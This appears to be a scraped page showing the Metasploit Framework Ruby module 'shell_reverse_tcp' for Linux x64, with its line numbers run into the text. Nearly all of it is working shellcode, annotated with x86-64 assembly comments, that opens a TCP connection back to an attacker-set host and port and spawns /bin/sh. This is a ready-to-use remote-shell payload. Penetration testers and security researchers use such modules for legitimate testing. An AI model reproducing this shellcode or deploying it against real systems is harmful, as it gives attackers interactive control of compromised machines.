Path: blob/master/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 7478include Msf::Payload::Single9include Msf::Payload::Linux::X64::Prepends10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Linux Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'ricky',19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_X64,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' => {25'Offsets' =>26{27'LHOST' => [ 20, 'ADDR' ],28'LPORT' => [ 18, 'n' ]29},30'Payload' =>31"\x6a\x29" + # pushq $0x2932"\x58" + # pop %rax33"\x99" + # cltd34"\x6a\x02" + # pushq $0x235"\x5f" + # pop %rdi36"\x6a\x01" + # pushq $0x137"\x5e" + # pop %rsi38"\x0f\x05" + # syscall39"\x48\x97" + # xchg %rax,%rdi40"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx41"\x15\xb3" \42"\x7f\x00\x00\x01" \43"\x51" + # push %rcx44"\x48\x89\xe6" + # mov %rsp,%rsi45"\x6a\x10" + # pushq $0x1046"\x5a" + # pop %rdx47"\x6a\x2a" + # pushq $0x2a48"\x58" + # pop %rax49"\x0f\x05" + # syscall50"\x6a\x03" + # pushq $0x351"\x5e" + # pop %rsi52"\x48\xff\xce" + # dec %rsi53"\x6a\x21" + # pushq $0x2154"\x58" + # pop %rax55"\x0f\x05" + # syscall56"\x75\xf6" + # jne 27 <dup2_loop>57"\x6a\x3b" + # pushq $0x3b58"\x58" + # pop %rax59"\x99" + # cltd60"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx61"\x73\x68\x00" \62"\x53" + # push %rbx63"\x48\x89\xe7" + # mov %rsp,%rdi64"\x52" + # push %rdx65"\x57" + # push %rdi66"\x48\x89\xe6" + # mov %rsp,%rsi67"\x0f\x05" # syscall68}69)70)71end72end737475